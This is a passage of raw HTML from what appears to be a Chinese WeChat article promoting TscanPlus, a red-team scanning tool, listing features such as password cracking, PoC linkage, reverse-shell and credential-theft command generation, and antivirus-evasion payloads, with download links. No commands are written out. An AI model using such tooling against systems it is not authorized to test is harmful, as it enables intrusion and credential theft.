1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">3、其他已有功能</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">【特色功能】</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1、内置5.2W余条指纹数据，对1万个web系统进行指纹识别仅需8-10分钟，在效率和指纹覆盖面方面应该是目前较高的了。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2、在指纹探测结果中，对130多个红队常见CMS和框架、Poc可关联CMS进行了自动标注。内置大量高质量Poc，并可外接Nuclei、Afrog、Xray等Poc工具，可实现指纹和Poc的联动，根据指纹识别的结果自动关联Poc，并可直接查看poc数据包相关信息。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3、在创建IP端口扫描、Url扫描时，可关联Poc检测、密码破解、目录扫描等功能，发现匹配的服务或产品时会自动触发密码破解或poc检测。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">4、内置48种常见服务的弱口令破解，可方便管理员对内网弱口令进行排查，为提高检测效率，优选并精简每个服务的用户名和密码字典。覆盖的服务包括：SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">5、实现了编码解码、哈希计算、加密解密、国密算法、数据格式化、其他转换等共36种类型，其中编码解码类8种、哈希计算13种、加密解密9种、国密算法3种、数据格式化9种、其他2种。包含了AES、RSA、SM2、SM4、DES、3DES、Xor、RC4、Rabbit、Base64、Base32、URL、ASCII、各进制转换、字符串与进制转换、HTML、Unicode、MD5、Hmac、SM3、SHA1、SHA2、SHA3、NTLM、JSON格式化与压缩、XML格式化与压缩、IP地址与整数互转、String.fromCharCode、Unix时间戳互转、文本去除重复行、字母大小写、生成各类随机字符串、字符串反转、JWT解析与弱密码、一键解密OA等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">6、目录枚举默认使用HEAD方式，可对并发、超时、过滤、字典等进行自定义，内置了DirSearch的字典，可导入自己的字典文件，也可用内置字典fuzz工具进行生成。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">7、内置各类反弹shell命令85条、Win内网(凭证获取、权限维持、横向移动)命令26类、Linux内网命令18类、下载命令31条、MSF生成命令21条、CS免杀上线命令等，可根据shell类型、操作系统类型、监听类型自动生成代码。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">8、灵活的代理设置，可一键设置全局代理，也可以各模块单独开启代理功能，支持HTTP(S)/SOCKS5两种代理，支持身份认证。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">9、快速的子域名探测，域名可联动其他子功能，可配置key后对接多个网络空间探测平台，一键查询去重。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">10、内置资产分拣、JsFinder、Host碰撞、Jwt秘钥破解、IP查询、Windows提权辅助、杀软查询、shiro解密等各类工具。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">TscanPlus 更多其他功能介绍可参考文章：《TscanPlus——一款红队自动化工具》<a href="https://mp.weixin.qq.com/s/vYB03ckGqeyDrOVVWFWkBA" target="_blank">https://mp.weixin.qq.com/s/vYB03ckGqeyDrOVVWFWkBA</a></span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">4、软件下载</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Github下载：<a href="https://github.com/TideSec/Tscanplus/releases" target="_blank">https://github.com/TideSec/Tscanplus/releases</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">1、功能介绍和常见问题：<a href="https://github.com/TideSec/TscanPlus?tab=readme-ov-file" target="_blank">https://github.com/TideSec/TscanPlus?tab=readme-ov-file</a><a class="wx_topic_link" topic-id="mfxpc3kg-vjtwxt" style="color: #576B95 !important;" data-topic="1">#FAQ</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2、启动报错相关问题合集：<a href="https://github.com/TideSec/TscanPlus/issues/226" target="_blank">https://github.com/TideSec/TscanPlus/issues/226</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3、程序闪退相关说明：<a href="https://github.com/TideSec/TscanPlus/issues/383" target="_blank">https://github.com/TideSec/TscanPlus/issues/383</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">4、反馈Bug领取Key说明：<a href="https://github.com/TideSec/TscanPlus/issues/241" target="_blank">https://github.com/TideSec/TscanPlus/issues/241</a></span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">部分功能还在完善，目前暂不提供源码，这里打包了windows/mac版本的TscanPlus供下载。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">本次编译的均为x64_AMD架构，有需要x86版本或ARM版的可到星球下载。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.64px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: Optima, PingFangSC-light, serif;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);color: rgb(248, 57, 41);width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">【转发本文章到朋友圈，获赞30个以上，本活动截止到9月27日。截图发到&#34;Tide安全团队&#34;公众号后台，可获取一个key，解锁所有POC功能】</span></strong></p></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;chksm=ce5da3ccf92a2adab0511bd798570d967cd4b0b7d7528f2f17163f5ed77e4dd7a02ac17c39d7&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自动化‍工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><p powered-by="xiumi.us" style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;text-align: center;overflow-wrap: break-word !important;"><span style="max-width: 100%;background-color: rgb(250, 207, 105);color: rgb(0, 0, 70);font-family: 思源黑体;font-size: 14px;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 